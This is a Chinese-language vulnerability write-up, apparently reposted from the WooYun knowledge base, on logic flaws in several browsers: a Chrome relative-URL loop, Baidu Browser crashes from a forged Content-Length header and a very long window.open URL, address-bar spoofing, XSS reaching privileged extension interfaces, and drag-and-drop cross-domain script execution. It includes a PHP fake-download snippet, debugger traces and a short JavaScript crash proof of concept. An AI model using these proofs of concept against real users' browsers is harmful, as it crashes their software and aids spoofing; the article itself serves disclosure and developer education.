漏洞小总结:浏览器里那些奇怪的逻辑

来源:http://bbs.ichunqiu.com/thread-8956-1-1.html?from=ch

本文转自wooyun知识库

window3:data:text/html,...

....

正是如此,由于阴差阳错我忘了加javascript:,但是不巧Chrome也错把window.open()这个当作了相对路径,更不巧的是它居然搜索到了第二个正斜线/处,并把它后面的内容替换成了window.open。

这也就意味着,从window2开始,他就开始了一直执行同一段代码的不归路,难怪会一直占100%cpu呢。

官方的修复是(REV 168294):

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5

6

7

8M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_relative.cc?r1=254565&r2=254564&pathrev=254565[/url]

M [url]http://src.chromium.org/viewvc/chrome/trunk/src/url/url_canon_unittest.cc?r1=254565&r2=254564&pathrev=254565[/url]

url_cannon_relative.cc:+

124if(!is_base_hierarchical){

125//Don't allow relative URLsifthebase scheme doesn't supportit.

126returnfalse;

127}

0x03b 百度浏览器下载dos (特殊情况考虑不完善)

HTTP头中,Content-Length可以反映这个请求的实体大小[2],正是如此,下载的时候,下载器可以拿它当个参考,但是HTTP头是我们可以随便定义的,如果我们在服务器上做一个假的下载文件,并且把它的大小指定的非常大,甚至超出硬盘能受得了的大小,或者超出存储下载文件有多大的那个变量的上限会如何呢?

WooYun: 百度浏览器5.0正式版除以零异常永久性拒绝服务

在老版本的百度浏览器中访问此文件:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5

6

7

8#!php


header("Content-type: application/octet-stream");//返回的文件

header("Accept-Ranges: bytes");//按照字节大小返回

header("Accept-Length: 500");//返回文件大小

header("Content-Length: 500");//返回文件大小

header("Content-Disposition: attachment; filename=B");//这里客户端的弹出对话框,对应的文件名

?>

当将Accept-Length该成一个超过其unsigned long上限的值时,百度浏览器简单的把其大小修改为了0。

关键是,这个0会在之后被用作计算百分比的分母,于是一个奇葩的现象就会出现:除以0错误。

过程就是如此简单:

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19xnet!AcquireAsynHttpService+0x278f2:

5bc5b50283d800sbb     eax,0

5bc5b5058944241c        mov     dword ptr [esp+1Ch],eax

5bc5b50989542418mov     dword ptr [esp+18h],edx

5bc5b50d0bc0oreax,eax

5bc5b50f7518jne     xnet!AcquireAsynHttpService+0x27919(5bc5b529)

5bc5b5118b4c2418mov     ecx,dword ptr [esp+18h] ;文件大小

5bc5b5158b442414mov     eax,dword ptr [esp+14h] ;已经下载的大小

5bc5b51933d2xor     edx,edx

xnet!AcquireAsynHttpService+0x2790b:

5bc5b51b f7f1diveax,ecx  ;0/0

;部分寄存器此时的值:

;eax=00000000ebx=00000000ecx=00000000edx=00000000

5bc5b51d8bd8mov     ebx,eax

5bc5b51f8b442410mov     eax,dword ptr [esp+10h]

5bc5b523f7f1diveax,ecx

……

5.x版本的浏览器的dmp简单查看一下:

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

150:033>!analyze-v

FAULTING_IP:

xnet!AcquireAsynHttpService+2790b

5bc5b51b f7f1diveax,ecx

……(略)

DEFAULT_BUCKET_ID:STATUS_INTEGER_DIVIDE_BY_ZERO

PRIMARY_PROBLEM_CLASS:STATUS_INTEGER_DIVIDE_BY_ZERO

BUGCHECK_STR:APPLICATION_FAULT_STATUS_INTEGER_DIVIDE_BY_ZERO

LAST_CONTROL_TRANSFER:from5bc25b4eto5bc5b51b

STACK_TEXT:

0a67f95c5bc25b4e03684b20666e1dbf0383c019xnet!AcquireAsynHttpService+0x2790b

0a67f9845bc24817000000000000000003707e68xnet+0x25b4e

0a67f9ac5bc2158100000000666e1dbf00000000xnet+0x24817

……(略)

0x03c 百度浏览器堆损坏 (系统因素考虑不当)

由于分给一个程序的栈的大小是有限的,而Chrome接受的URL长度确实无限的,所以为了方便,短url确实可以存在栈中,但是如果url的长度长于一定限度的时候,存到堆里也未尝不可,但是测试一定要完善,依然是百度浏览器5.x的一个问题:

WooYun: 百度浏览器5.0正式版(2.200.0.41563)拒绝服务漏洞

(为了防止一大片都是乱七八糟的数据,以下能省的我全部省略了)

这个可以很明显的显示出来老版本代码搬到新版本来的弊端,以及需要达到一定条件下才触发的漏洞点。漏洞需要:Windows Vista以上,使用主板本4.x以下或 5.0版内核版本2.2.210.42889以下的均可触发。

之前以为是像错误所报一样是BUFFER OVERRUN也就是缓冲区溢出,其实不然,这个是一个奇怪的堆破坏漏洞。

为了防止堆出现奇怪的调试器友好现象,先运行浏览器,然后Attach到进程上,运行PoC,可以发现程序产生了以下异常:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5

6

7STATUS_STACK_BUFFER_OVERRUN encountered

(a18.32d4):Break instruction exception-code80000003(firstchance)

eax=00000000ebx=5dab3f30ecx=76470174edx=0973c565esi=00000000edi=001b7281

eip=7646ff55esp=0973c7ac ebp=0973c828iopl=0nvupei pl zr na pe nc

cs=0023ss=002b  ds=002b  es=002b  fs=0053gs=002b             efl=00000246

kernel32!UnhandledExceptionFilter+0x5f:

7646ff55cc              int3

回溯一下调用栈:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5

6

7

80:025>kvn

# ChildEBP RetAddr  Args to Child

000973c8285d9e77895dab3f30caa3800a355c7ff5kernel32!UnhandledExceptionFilter+0x5f(FPO:[SEH])

WARNING:Stack unwind informationnotavailable. Following frames may be wrong.

010973cb5c5d79757b001b7281656c696600000000bdlogicmain!BrowserLogicInit+0x198229

020973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b

030973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1

……(略)

查看一下第一个参数,它指向EXCEPTION_POINTERS:

[AppleScript]纯文本查看复制代码

?

1

20:025>dd5dab3f30

5dab3f305db498a05db498f85d9e7cd01d5be4b5

查看一下异常相关的信息:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

50:025>.exr5db498a0

ExceptionAddress:5d79757b(bdlogicmain+0x0000757b)

ExceptionCode:c0000409(Stack buffer overflow)

ExceptionFlags:00000001

NumberParameters:0

然后使用它的上下文记录:

[AppleScript]纯文本查看复制代码

?

1

0:025>.cxr5db498f8

以此为准重新回溯一下栈:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5

6

70:025>kv

***Stack traceforlastsetcontext-.thread/.cxr resetsit

ChildEBP RetAddr  ArgstoChild

0973e8f85d9deb210ccf0020113d0020001b7281bdlogicmain+0x757b

0973e91c5d98d6fb00000001c3d069b20d1e2dc4bdlogicmain!BrowserLogicInit+0x18f5c1

0973e9b85d98de2d0973ea08c3d06a2600000000bdlogicmain!BrowserLogicInit+0x13e19b

……(略)

貌似崩溃发生在bdlogicmain+0x757b附近,我们在这个函数开头设下断点并仔细查看一下,Let’s rock:

[AppleScript]纯文本查看复制代码

?

1

bp bdlogicmain+0x7556

重新打开浏览器,运行PoC,这时Debugger停在我们的断点处。我们将前后指令给u出来,得到部分函数信息:

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23633b753d8dbdfcefffff    lea     edi,[ebp-1004h]

633b7543e818fdffff      call    bdlogicmain+0x7260(633b7260)

633b754883c404addesp,4

633b754b5f              pop     edi

633b754c85c0test    eax,eax

633b754e75a3jne     bdlogicmain+0x74f3(633b74f3)

633b75508bb56ce2ffff    mov     esi,dword ptr [ebp-1D94h]

633b755656push    esi ; 参数:size

633b75578d95fcefffff    lea     edx,[ebp-1004h];这是他分配方式的分水岭:0x1004字节

633b755d52push    edx  ; 参数:source

633b755e53push    ebx    ;参数:dest

633b755f ff15c4f46363call    dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6363f4c4)] ; 调用函数:strncpy

633b75658b4dfc          mov     ecx,dword ptr [ebp-4]

633b756883c40caddesp,0Ch

633b756b c6441eff00mov     byte ptr [esi+ebx-1],0

633b75705e              pop     esi

633b757133cd            xor     ecx,ebp

633b757333c0xor     eax,eax

633b75755b              pop     ebx

633b7576e823f82400call    bdlogicmain!BrowserLogicInit+0x19783e(63606d9e);崩溃在此

633b757b8be5mov     esp,ebp

633b757d5d              pop     ebp

633b757e c3ret

可以发现有一个strncpy(esi/*size*/, edx/*source, 栈上的内容*/, ebx/*dest, 申请的堆*/);非常可疑,而这个申请的堆则是在其类中使用new后memset成0得到的,其实之前这个memset的时候就已经set错位置了,不过我们先继续,p过+0x1cff64之后查看一下堆:

(*是我的用户名,隐掉了)

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

100:025>dd11a20020

11a20020656c69662f2f2f3a552f3a4373726573

11a200307061732f71**************6b736544

11a200402f706f74414141414141414141414141

……blablabla

0:025>da11a20020

11a20020"file:///C:/Users/**********/Desk"

11a20040"top/AAAAAAAAAAAAAAAAAAAAAAAAAAAA"

11a20060"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

……blablabla

果不其然,URL的完整内容被复制到堆中了,仔细一看却不是这儿堆溢出了,而是它初始化的问题导致复制错位了。下面是我重新开的一个实例,地址稍有变化,不过不影响结果。Strncpy完毕之后,各寄存器值如下:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5eax=00000000ebx=001b7281ecx=0006dca0edx=0975db50esi=0975db50edi=11d50020

eip=68542af4esp=0975cd9c ebp=0975eb54iopl=0nvupei pl nz ac pe nc

cs=0023ss=002b  ds=002b  es=002b  fs=0053gs=002b             efl=00000216

MSVCR100!strncpy+0x24:

68542af40f8585000000jne     MSVCR100!strncpy+0xaf(68542b7f)[br=1]

查看堆这个地址的信息:

[AppleScript]纯文本查看复制代码

?

1

2

3

4

5

6

7

8

90:025>!address11d50020

ProcessParametrs007607f0inrange0076000000860000

Environment09e98c48inrange09e100000a210000

11d50000:11d50000-001b8000

Type00020000MEM_PRIVATE

Protect00000004PAGE_READWRITE

State00001000MEM_COMMIT

Usage    RegionUsageHeap

Handle07790000

可以看到堆的大小远大于复制的字节数,这样可能就不会是堆溢出了,让我们再看一次堆的内容:

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

110:025>gu

eax=11d50020ebx=11d50020ecx=00000000edx=00414141esi=001b7281edi=001b7281

eip=63617565esp=0975cdac ebp=0975eb54iopl=0nvupei pl zr na pe nc

cs=0023ss=002b  ds=002b  es=002b  fs=0053gs=002b             efl=00000246

bdlogicmain+0x7565:

636175658b4dfc          mov     ecx,dword ptr [ebp-4] ss:002b:0975eb50=a7babf41

0:025>dd11d50020

11d50020656c69662f2f2f3a552f3a4373726573

11d500307061732f71**************6b736544

11d500402f706f74414141414141414141414141

11d5005041414141414141414141414141414141

接着查看一下11d50000处的堆信息,这回我们看到了好玩的东西了,从0x20字节开始,网址居然被写到了堆头部的_HEAP结构,直接覆盖了堆的信息!(其实最开始memset的时候就已经盖了,new之后传来的指针就没给对),这样当堆释放的时候系统就会检测到这个问题,然后报告BUFFER_OVERRUN,但其实只是一个巧合。

由于系统差异,导致函数的走向分支出现了问题,指针的偏移没有正确的写入,在Windows XP之下,偏移被正确的调整了,但是在高版本系统中这个偏移量却没有写对,导致了它直接写到了堆头部,直接破坏了整个堆的结构。

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

240:025>dt _HEAP11d50000

ntdll!_HEAP

+0x000Entry:_HEAP_ENTRY

+0x008SegmentSignature:0

+0x00c SegmentFlags:0

+0x010SegmentListEntry:_LIST_ENTRY [0x1b8000-0x1b8000]

+0x018Heap:0x213b4097_HEAP

+0x01c BaseAddress:0x04000000

+0x020NumberOfPages:0x656c6966

+0x024FirstEntry:0x2f2f2f3a _HEAP_ENTRY

+0x028LastValidEntry:0x552f3a43_HEAP_ENTRY

+0x02c NumberOfUnCommittedPages:0x73726573

+0x030NumberOfUnCommittedRanges:0x7061732f

+0x034SegmentAllocatorBackTraceIndex:0x****

+0x036Reserved:0x****

+0x038UCRSegmentList:_LIST_ENTRY [0x********-0x6b736544]

+0x040Flags:0x2f706f74

+0x044ForceFlags:0x41414141

+0x048CompatibilityFlags:0x41414141

+0x04c EncodeFlagMask:0x41414141

+0x050Encoding:_HEAP_ENTRY

+0x058PointerKey:0x41414141

+0x05c Interceptor:0x41414141

…………blabla 后面都是0x41414141

那为什么只会在这样的PoC中出现呢,普通的window.open为什么没有这类问题?bp bdlogicmain+0x7490 在函数开头下断,可以发现原因是百度浏览器使用了一个逻辑,也即<4096的用栈上变量,如果长于4096字节,程序才会试图分配堆并对堆进行错误的写入操作。这个问题出现在新窗口的弹出中,必须是新小窗口才会出现,包括被广告拦截也会出现。

相关问题点:

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34636174e7e874fcffff      call    bdlogicmain+0x7160(63617160)

;函数功能:判断是否要比4096长

636174ec83c41caddesp,1Ch

636174ef85c0test    eax,eax

;eax==0:代表长于4096字节

636174f17413je      bdlogicmain+0x7506(63617506)

bdlogicmain+0x74f3:

636174f35e              pop     esi

636174f483c8fforeax,0FFFFFFFFh

636174f75b              pop     ebx

636174f88b4dfc          mov     ecx,dword ptr [ebp-4]

636174fb33cd            xor     ecx,ebp

636174fd e89cf82400call    bdlogicmain!BrowserLogicInit+0x19783e(63866d9e)

636175028be5mov     esp,ebp

636175045d              pop     ebp

63617505c3ret

bdlogicmain+0x7506:

636175068db570e2ffff    lea     esi,[ebp-1D90h]

6361750c8d85fcefffff    lea     eax,[ebp-1004h]

63617512e8d9f9ffff      call    bdlogicmain+0x6ef0(63616ef0)

6361751785c0test    eax,eax

6361751975d8jne     bdlogicmain+0x74f3(636174f3)

……blabla

bdlogicmain+0x7550://长于4096字节时:

636175508bb56ce2ffff    mov     esi,dword ptr [ebp-1D94h]

6361755656push    esi

636175578d95fcefffff    lea     edx,[ebp-1004h]

6361755d52push    edx

6361755e53push    ebx

6361755f ff15c4f48963call    dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64(6389f4c4)]

636175658b4dfc          mov     ecx,dword ptr [ebp-4]

Simple PoC:

[AppleScript]纯文本查看复制代码

?

01

02

03

04

05

06

07

08

09

10

11#!html

var s="A";

var i=1;

for(i=1;i<599559;i++)

s+="A";

alert(1);

window.open(s);

0x03d 新窗口的那些事儿 (逻辑安全不全面)

很多厂商都意识到了一个问题,那就是OnBeforeNavigate2的时候,刚chrome.Load()千万不能改地址栏啊,一定不能改地址栏啊,必须等页面全部加载完才可以,结果主窗口做的天衣无缝,完美无瑕,之后就忘了小窗口的事情。 小窗口怎么产生呢?

[AppleScript]纯文本查看复制代码

?

1

window.open

这个简单无比,到处可见此类弹窗小广告,被广告拦截的几率非常大,可以忽视

WooYun: 傲游浏览器4.1.2.2000伪造任意网站漏洞

target 但是这个基本就没人拦了,但是蛋疼的是带有url变化的东西都能接上这个,比如anchor,比如form,这个可以参考:

WooYun: 傲游浏览器4.3.0.100 表单请求伪造网站漏洞(可钓鱼)

WooYun: 搜狗浏览器4.2.2.9903任意网站伪造+自有协议下XSS*2

厂商也意识到了,是啊,不加载完不能换地址,一定要到OnDocumentComplete,要到documentComplete()才行,可是唯独忘了程序创建新窗口的时候也不能把地址栏给设置上,这样就导致了很多问题。

因为攻击者弹出来的东西可能并不会去瞎加载一些乱七八糟的网站,他们转而可能在小窗口上运行脚本,脚本执行完之后确实产生了页面完成事件,“但是在这上面执行的javascript:开头的地址肯定是不能替换当前地址的呀,那么还是保持之前的地址好了”,这个逻辑仿佛就是“现在我做的事不对,那么前面做的事一定是正确的”,结果正中攻击者下怀,脏数据写到了页面上,脏地址倒也被当作正确地址留下来了。

0x03e xss导致的更严重的问题 (插件安全不全面)

越来越多的浏览器做了插件,可以让用户自行选择,这是个好事情,因为这样不必让本来只想找个小菜刀做饭的用户一下背了一个核弹发射场回家。大厂商转而大度的把装备扔自己网站上,大家是要杀人越货还是要干什么,尽管自取。

那么浏览器怎么知道用户啥时候要对自己来一发火箭炮?External接口倒是可以满足浏览器这个需求,通过设置可信域,通常就是浏览器自己的插件页地址或者官网,浏览器只在可信域上开放external接口,这样用户就能在厂商那找到并让浏览器安装各个插件了。

但是至少不要来XSS,XSS的奇技淫巧大家掌握的比我多,本来自有协议就跟个核弹发射按钮似的,这XSS一来,直接就把老家送人了,最可怕的是有些浏览器甚至自行关掉了XSS过滤器,导致攻击者只需要做一个payload放到url里就可以让这些权限高的external调用随意的在浏览器里面跑起来。

例如:

WooYun: 搜狗浏览器远程命令执行漏洞

WooYun: 360极速安全浏览器存在设计缺陷可导致一序列安全问题

WooYun: 傲游4.3.0.300提示安装任意插件暴露external接口

0x03f 拖拽跨域 (用户行为猜测不全)

一直要用最坏的打算来推测用户能干出来什么出格事儿,这是个事实,之前白帽子爱梅小礼发的拖拽跨域就是个非常一针见血的证明。

WooYun: 所有国产浏览器拖曳跨特权域漏洞

本来浏览器的超级拖拽行为只有仨考虑:如果是网址,那么我们就把它打开;如果是文字我们就把它转到搜索里面;如果是图片,我们就开个新窗口让用户自己放大缩小看图片。 万万没想到,还有javascript:和vbscript:这种东西。用户的鼠标可不听使唤,iframe里面一个javascript拖到外面的页面里面,脚本可就在外面执行起来了。

当然,我想着这还不是最猥琐的,这种出其不意的事情,必然有其他地方也能让我们举一反三:标签栏。

试想标签栏在开发的眼里意味着什么?无非两种可能,来的是文字,咱搜索;来的是URL,咱打开。

来的是脚本,那就执行了吧。

0x04 预防&总结

大部分还是从开发的角度来说吧,一定要在页面加载完之后再改变地址,新窗口将地址栏置为about:blank,并在页面有实际的加载之后再改地址;

在刚启动就自动执行的任务一定要保证更严格的可用性,以及要养成良好的编码习惯,释放,引用指针之前一定要确保指针有效,这样可以确保程序不会一启动或者每次做的动作大一点就完全崩溃了;

至于逻辑问题,我觉得这也只好听天由命,自求多福了,只好恳请用户大老爷手下留情,点鼠标慢一点,没事干不要乱拖乱点好了……

参考资料 [1]http://www.w3.org/TR/2008/WD-html5-20080610/web-browsers.html[2]http://tools.ietf.org/html/rfc2616#section-14.13[3] 《挖0day》,爱无言; 应该就是他:http://www.wooyun.org/whitehats/%E7%88%B1%E6%97%A0%E8%A8%80[4]http://illmatics.com/Understanding_the_LFH.pdf

你可能感兴趣的:(漏洞小总结:浏览器里那些奇怪的逻辑)